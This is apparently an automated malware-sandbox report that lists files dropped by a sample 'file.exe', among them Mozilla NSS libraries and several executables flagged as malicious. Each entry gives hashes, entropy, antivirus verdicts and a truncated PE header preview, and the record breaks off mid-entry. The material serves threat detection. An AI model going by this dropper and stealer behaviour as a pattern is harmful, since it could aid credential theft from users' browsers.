Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.1.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E3A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.4386788490265925
Encrypted:	false
SSDEEP:	48:cvIwWl8zsGqJg77aI9pOWpW8VYwvYm8M4JCGyFyWM+q8bgKmzuB5md:uIjfbI7/v7VKJLTTSGzuB5md
MD5:	0B2D33D3A64F372D00086DAF5FF7D156
SHA1:	DCD0F7F8139289354CFC84CBECD2C4B5B433FD87
SHA-256:	27B6A89CC790200E502CD79F40172ECD443978CE7DA72D9FDFEE69BFE8B0754B
SHA-512:	A0B4DD0795CD9229881D28E29B7B8EAD5D6230148838F21828D686B6B2BF71D54CD68DE46B169B45EEB517A9BD729A336B461BC9C77A8B05483C09C311F16BA7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429185" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 8NjcvPNvUr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1lKbb2hF7fYToopfpmEvlyRN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6SoKuOqyNh.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 8NjcvPNvUr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1lKbb2hF7fYToopfpmEvlyRN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6SoKuOqyNh.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userAAKKKEBFCG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.952140060193278
Encrypted:	false
SSDEEP:	49152:XZmWKcdao1y2VJlktIM4UyM1BkQyZ0JJ9GGq:XZmWKhAy4lkqGv/JJEG
MD5:	B4A88BF77C70C536BA5BD36EBEE0135A
SHA1:	CEE3878FE3678A83E1775020BF29037FFA4459FE
SHA-256:	05D838CB6E393C4AA0CFFB5D2CC3203DF06C8D8328B1F68628F2534F0209FA14
SHA-512:	EC00957901E985A4E82D028774C3BC356C8279E9DEC0D387653BC7866693552C7E52ECC2C641D4F1515C7D274C2B783C8D1540257E00392EA604D80194F7362C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................L...........@.......................... M..........@.................................W...k.............................L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...zywzqxul.p...p2..h..................@...dpxiwhce......L......\..............@....taggant.0....L.."...`..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	249856
Entropy (8bit):	6.056014850588474
Encrypted:	false
SSDEEP:	3072:nCtkbYJ4Zzd+mtDjzFTVA/hdlCo0VMTUd47hxcCjTc31Lt6t4OYO8:CGYJKomtDXqhdsMjT6t6tuO
MD5:	7E43D787C0813212855C05D5CC4B1752
SHA1:	3B1DC23A3DB66CA9F98742F379FDE849A1039A67
SHA-256:	5EB4E0358569874385F1F29EEB4F296CE648BE45CC6EA62328E8A9594571859F
SHA-512:	0DF06C810672BE13C8DAE50F116132E143EBA4A8E174EB75F1C01F9DCF753A9CF797600B4295657F9DE632406EBC0220B11CD05F8B2985A9D6E6E94662677146
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tg.s... ... ... .pQ ... .pd ... .pP t.. .~i ... ... d.. .pU ... .p` ... .pg ... Rich... ........PE..L....C.d.....................v....... .......0....@..........................`......q........................................Y..x....................................Z..............................XT..@............0...............................text............................... ..`.rdata...3...0...4..................@..@.data........p.......R..............@....fufuc..............................@..@.xixeray.............2..............@....rsrc................6..............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904640
Entropy (8bit):	7.949647057171301
Encrypted:	false
SSDEEP:	49152:aT/pKVKFUbib30twKqbv+Q7WCWzB8RANDb76n:aT/9rywKqbv+QyCMBgANDb+n
MD5:	610E539A17C4968540877E8577D023AC
SHA1:	354DB41C77C1245BA523900344B1AD5E16CB0748
SHA-256:	F3918BFDBDBDA43064E8B78C10C05A47E0C31BCCD3E29FAD386BD93F66B926D1
SHA-512:	4800267D6CA267BC119831F2ABFD347DCCAA80E5B8162054313A36F297DEFF22662AC0B3341C1AD9D3D3D5C72F0EF4C2470BB0A2A3547D38918C28D7F0E3F6F1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K......l....@.................................W...k............................uK..............................uK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...hoxupgqj......1.....................@...fapapsdz......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\AppData\RoamingIJEGHJECFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904640
Entropy (8bit):	7.949647057171301
Encrypted:	false
SSDEEP:	49152:aT/pKVKFUbib30twKqbv+Q7WCWzB8RANDb76n:aT/9rywKqbv+QyCMBgANDb+n
MD5:	610E539A17C4968540877E8577D023AC
SHA1:	354DB41C77C1245BA523900344B1AD5E16CB0748
SHA-256:	F3918BFDBDBDA43064E8B78C10C05A47E0C31BCCD3E29FAD386BD93F66B926D1
SHA-512:	4800267D6CA267BC119831F2ABFD347DCCAA80E5B8162054313A36F297DEFF22662AC0B3341C1AD9D3D3D5C72F0EF4C2470BB0A2A3547D38918C28D7F0E3F6F1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K......l....@.................................W...k............................uK..............................uK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...hoxupgqj......1.....................@...fapapsdz......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\userAAKKKEBFCG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.952140060193278
Encrypted:	false
SSDEEP:	49152:XZmWKcdao1y2VJlktIM4UyM1BkQyZ0JJ9GGq:XZmWKhAy4lkqGv/JJEG
MD5:	B4A88BF77C70C536BA5BD36EBEE0135A
SHA1:	CEE3878FE3678A83E1775020BF29037FFA4459FE
SHA-256:	05D838CB6E393C4AA0CFFB5D2CC3203DF06C8D8328B1F68628F2534F0209FA14
SHA-512:	EC00957901E985A4E82D028774C3BC356C8279E9DEC0D387653BC7866693552C7E52ECC2C641D4F1515C7D274C2B783C8D1540257E00392EA604D80194F7362C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................L...........@.......................... M..........@.................................W...k.............................L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...zywzqxul.p...p2..h..................@...dpxiwhce......L......\..............@....taggant.0....L.."...`..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\RoamingIJEGHJECFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904640
Entropy (8bit):	7.949647057171301
Encrypted:	false
SSDEEP:	49152:aT/pKVKFUbib30twKqbv+Q7WCWzB8RANDb76n:aT/9rywKqbv+QyCMBgANDb+n
MD5:	610E539A17C4968540877E8577D023AC
SHA1:	354DB41C77C1245BA523900344B1AD5E16CB0748
SHA-256:	F3918BFDBDBDA43064E8B78C10C05A47E0C31BCCD3E29FAD386BD93F66B926D1
SHA-512:	4800267D6CA267BC119831F2ABFD347DCCAA80E5B8162054313A36F297DEFF22662AC0B3341C1AD9D3D3D5C72F0EF4C2470BB0A2A3547D38918C28D7F0E3F6F1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K......l....@.................................W...k............................uK..............................uK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...hoxupgqj......1.....................@...fapapsdz......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
